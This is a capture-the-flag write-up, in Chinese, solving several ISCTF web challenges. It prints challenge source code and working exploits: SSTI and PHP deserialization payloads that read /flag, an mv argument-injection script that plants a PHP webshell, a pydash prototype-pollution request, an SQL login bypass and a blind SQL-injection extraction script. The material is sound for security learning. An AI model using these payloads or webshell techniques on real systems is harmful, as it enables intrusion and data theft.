ISCTF部分web-Writeup
难过的bottle


Python Bottle SSTI注入。
把内容改成模板语句{{7*7}}
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]过滤这么多,不会做了。 网上找资料,找到一个说可以全角字符可以绕过。
https://zhuanlan.zhihu.com/p/14023848669
payload
{{ open('/flag').read() }}
Bypass
源码
<?phpclass FLAG{ private $a; protected $b; public function __construct($a, $b) { $this->a = $a; $this->b = $b; $this->check($a,$b); eval($a.$b); } public function __destruct(){ $a = (string)$this->a; $b = (string)$this->b; if ($this->check($a,$b)){ $a("", $b); } else{ echo "Try again!"; } } private function check($a, $b) { $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open']; $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i'; $pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';
if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) { return false; } return true; }}
if (isset($_GET['exp'])) { $p = unserialize($_GET['exp']); var_dump($p);}else{ highlight_file("index.php");}漏洞利用点位于 __destruct() 魔法方法中的可变函数调用:$a("", $b)。而这里是可按的,就可以设置成类似system('ls')执行命令,但是他会先通过check方法进行过滤。这里过滤得比较严格。
绕过思路:create_function + 十六进制编码
将$a设置成create_function
$b赋值为} $z="system"; $z("ls"); /*。因为要用到system,但是被过滤了,此时就可以转成16进制绕过
# system\x73\x79\x73\x74\x65\x6d
# cat /flag\x63\x61\x74\x20\x2f\x66\x6c\x61\x67
#\x2f,这个对应的是(\)。其中有个f也被过滤了,这里转成8进制
\x63\x61\x74\x20\057\x66\154\x61\x67所以此时$b是
$payload_b = '} $z="' . $str_system . '"; $z("' . $str_cmd . '"); /*';exp:
<?phpclass FLAG{ private $a; protected $b;
public function __construct($a, $b) { $this->a = $a; $this->b = $b; }}
$str_system = '\x73\x79\x73\x74\x65\x6d';
$str_cmd = '\x63\x61\x74\x20\057\x66\154\x61\x67';
$payload_b = '} $z="' . $str_system . '"; $z("' . $str_cmd . '"); /*';# echo $payload_b;
$a = "create_function";$b = $payload_b;
$obj = new FLAG($a, $b);$serialized = serialize($obj);
echo urlencode($serialized) . "\n";
?>
flag?我就借走了
根据提示和大概的分析应该和tar和有关,网上搜了下相关的资料,有一个有用的
https://xz.aliyun.com/news/2269
直接构造

Who am I
前面通过一个修改登录包的type值为1,可以获取管理员权限,里面可以看到源码。

from flask import Flask,request,render_template,redirect,url_forimport jsonimport pydash
app=Flask(__name__)
database={}data_index=0name=''
@app.route('/',methods=['GET'])def index(): return render_template('login.html')
@app.route('/register',methods=['GET'])def register(): return render_template('register.html')
@app.route('/registerV2',methods=['POST'])def registerV2(): username=request.form['username'] password=request.form['password'] password2=request.form['password2'] if password!=password2: return ''' <script> alert('前后密码不一致,请确认后重新输入。'); window.location.href='/register'; </script> ''' else: global data_index data_index+=1 database[data_index]=username database[username]=password return redirect(url_for('index'))
@app.route('/user_dashboard',methods=['GET'])def user_dashboard(): return render_template('dashboard.html')
@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])def A272e1739b89da32e983970ece1a086bd(): return render_template('admin.html')
@app.route('/operate',methods=['GET'])def operate(): username=request.args.get('username') password=request.args.get('password') confirm_password=request.args.get('confirm_password') if username in globals() and "old" not in password: Username=globals()[username] try: pydash.set_(Username,password,confirm_password) return "oprate success" except: return "oprate failed" else: return "oprate failed"
@app.route('/user/name',methods=['POST'])def name(): return {'username':user}
def logout(): return redirect(url_for('index'))
@app.route('/reset',methods=['POST'])def reset(): old_password=request.form['old_password'] new_password=request.form['new_password'] if user in database and database[user] == old_password: database[user]=new_password return ''' <script> alert('密码修改成功,请重新登录。'); window.location.href='/'; </script> ''' else: return ''' <script> alert('密码修改失败,请确认旧密码是否正确。'); window.location.href='/user_dashboard'; </script> '''
@app.route('/impression',methods=['GET'])def impression(): point=request.args.get('point') if len(point) > 5: return "Invalid request" List=["{","}",".","%","<",">","_"] for i in point: if i in List: return "Invalid request" return render_template(point)
@app.route('/login',methods=['POST'])def login(): username=request.form['username'] password=request.form['password'] type=request.form['type'] if username in database and database[username] != password: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' elif username not in database: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' else: global name name=username if int(type)==1: return redirect(url_for('user_dashboard')) elif int(type)==0: return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))
if __name__=='__main__': app.run(host='0.0.0.0',port=8080,debug=False)借助ai分析是一个原型链染污和ssti注入的。网上也有相应的资料。
https://hadagaga.github.io/2025/04/08/Pydash-set原型链污染漏洞解析/index.html
通过pydash.set_这个函数会造成原型链污染。
pydash.set_(obj,path,value)obj:要操作的目标对象(字典、列表、对象实例等)。path:赋值的路径,可以是字符串(用.分隔层级)、列表 / 元组(包含键 / 索引)。value:要设置的值。
render_template会一个渲染模板文件。
obj:要操作的目标对象(字典、列表、对象实例等)。path:赋值的路径,可以是字符串(用.分隔层级)、列表 / 元组(包含键 / 索引)。value:要设置的值。 其他分析就不懂了,直接构造吧
/operate?username=app&password=jinja_loader.searchpath.0&confirm_password=/password这里问的ai

/impression?point=flag
mv_upload
拿到源码
<?php$uploadDir = '/tmp/upload/'; // 临时目录$targetDir = '/var/www/html/upload/'; // 存储目录
$blacklist = [ 'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax", "swf","ini"];
$message = '';$filesInTmp = [];
// 创建目标目录if (!is_dir($targetDir)) { mkdir($targetDir, 0755, true);}
if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true);}
// 上传临时目录if (isset($_POST['upload']) && !empty($_FILES['files']['name'][0])) { $uploadedFiles = $_FILES['files']; foreach ($uploadedFiles['name'] as $index => $filename) { if ($uploadedFiles['error'][$index] !== UPLOAD_ERR_OK) { $message .= "文件 {$filename} 上传失败。<br>"; continue; }
$tmpName = $uploadedFiles['tmp_name'][$index];
$filename = trim(basename($filename)); if ($filename === '') { $message .= "文件名无效,跳过。<br>"; continue; }
$fileParts = pathinfo($filename); $extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';
$extension = trim($extension, '.');
if (in_array($extension, $blacklist)) { $message .= "文件 {$filename} 因类型不安全(.{$extension})被拒绝。<br>"; continue; }
$destination = $uploadDir . $filename;
if (move_uploaded_file($tmpName, $destination)) { $message .= "文件 {$filename} 已上传至 $uploadDir$filename 。<br>"; } else { $message .= "文件 {$filename} 移动失败。<br>"; } }}
// 获取临时目录中的所有文件if (is_dir($uploadDir)) { $handle = opendir($uploadDir); if ($handle) { while (($file = readdir($handle)) !== false) { if (is_file($uploadDir . $file)) { $filesInTmp[] = $file; } } closedir($handle); }}
// 处理确认上传完毕(移动文件)if (isset($_POST['confirm_move'])) { if (empty($filesInTmp)) { $message .= "没有可移动的文件。<br>"; } else { $output = []; $returnCode = 0; exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode); if ($returnCode === 0) { foreach ($filesInTmp as $file) { $message .= "已移动文件: {$file} 至$targetDir$file<br>"; } } else { $message .= "移动文件失败: " .implode(', ', $output)."<br>"; } }}?>
<!DOCTYPE html><html lang="zh-CN"><head> <meta charset="UTF-8"> <title>多文件上传服务</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } .container { max-width: 800px; margin: auto; } .alert { padding: 10px; margin: 10px 0; background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; } .success { background: #d4edda; color: #155724; border-color: #c3e6cb; } ul { list-style-type: none; padding: 0; } li { margin: 5px 0; padding: 5px; background: #f0f0f0; } </style></head><body><div class="container"> <h2>多文件上传服务</h2>
<?php if ($message): ?> <div class="alert <?= strpos($message, '失败') ? '' : 'success' ?>"> <?= $message ?> </div> <?php endif; ?>
<form method="POST" enctype="multipart/form-data"> <label for="files">选择文件:</label><br> <input type="file" name="files[]" id="files" multiple required> <button type="submit" name="upload">上传到临时目录</button> </form>
<hr>
<h3>待确认上传文件</h3> <?php if (empty($filesInTmp)): ?> <p>暂无待确认上传文件</p> <?php else: ?> <ul> <?php foreach ($filesInTmp as $file): ?> <li><?= htmlspecialchars($file) ?></li> <?php endforeach; ?> </ul> <form method="POST"> <button type="submit" name="confirm_move">确认上传完毕,移动到存储目录</button> </form> <?php endif; ?></div></body></html>过滤了挺多的,另外几个没过滤了也试了。 然后根据提示应该是和mv相关的。网上看了下资料,也问了下ai。
https://blog.csdn.net/2301_81831423/article/details/144995798
漏洞点:
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);mv注入 要用到这两个参数
-b: 启用备份模式,当目标文件存在时创建备份-S SUFFIX: 指定备份文件的后缀 payload:
- 先上传一个名为
shll.的webshll - 然后上传一个名为
-b - 上传一个名为
-Sphp - 然后再上传一遍名为
shell. - 最终mv会创建备份文件
shell.php


#!/usr/bin/env python3import requestsimport random
BASE_URL = "http://challenge.bluesharkinfo.com:28440"
def upload_file(filename, content="x"): files = {'files[]': (filename, content)} data = {'upload': '1'} r = requests.post(BASE_URL + "/", files=files, data=data) return '已上传' in r.text or '成功' in r.text
def confirm_move(): data = {'confirm_move': '1'} r = requests.post(BASE_URL + "/", data=data) return r.text
uid = random.randint(10000, 99999)shell = '<?php system($_GET["c"]); ?>'
# Step 1: 上传 webshell(文件名以点结尾)upload_file(f"shell_{uid}.", shell)confirm_move()
# Step 2: 上传参数文件upload_file("-b", "") # 启用备份upload_file("-Sphp", "") # 后缀设为 php(无点绕过黑名单)
# Step 3: 再次上传同名文件触发备份upload_file(f"shell_{uid}.", shell + " NEW")confirm_move()
# Step 4: 访问生成的 .php 文件backup_url = f"{BASE_URL}/upload/shell_{uid}.php"r = requests.get(backup_url + "?c=cat /flag")print(f"FLAG: {r.text}")ezrce
源码
<?phphighlight_file(__FILE__);
if(isset($_GET['code'])){ $code = $_GET['code']; if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) { eval($code); }else{ die('师傅,你想拿flag?'); }}无参数RCE,通过http请求头
通过 getallheaders():获取所有HTTP请求标头
然后通过end或者pos去取值

flag到底在哪
用dirsearch扫描到admin/login.php

' OR '1'='1登录进行后可以上传文件,直接上传一句话木马。然后执行命令

kaqiWeaponShop
打开网页在编码Id这里存在注入,然后通过测试发现select、from等这些没有被过滤,而且提示说flag 在 flag 表中的 flag 列。 然后丢给ai写一个脚本。 exp:
#!/usr/bin/env python3import requestsimport reimport string
url = "http://challenge.bluesharkinfo.com:22849/"
def check(condition): payload = f"(SELECT(flag)FROM(flag)WHERE(id=1)AND({condition}))" r = requests.get(url, params={"id": payload, "name": "", "p": "1"}, timeout=5) spans = re.findall(r'<span>(\d+)</span>', r.text) return '1' not in spans
print("=== Corrected extraction (- instead of _) ===", flush=True)
# 从正确的前缀开始flag = "ISCTF{"print(f"Starting: {flag} (len={len(flag)})", flush=True)
# 使用ASCII顺序提取每个字符for pos in range(len(flag), 43): found = False
# 从低到高ASCII搜索 for i in range(32, 127): c = chr(i) if c in "'\"\\": continue
test = flag + c ge = check(f"flag>='{test}'")
if not ge: # flag < test,前一个字符是正确的 if i > 32: prev = chr(i-1) flag += prev print(f"[{pos}] '{prev}' (ASCII {i-1}) -> {flag}", flush=True) found = True break
if not found: print(f"[{pos}] No char found", flush=True) break
if flag.endswith("}"): print("\n[!] Flag complete!", flush=True) break
print(f"\n{'='*50}", flush=True)print(f"FLAG: {flag}", flush=True)print(f"Length: {len(flag)}", flush=True)print(f"{'='*50}", flush=True)
部分内容可能已过时
dnw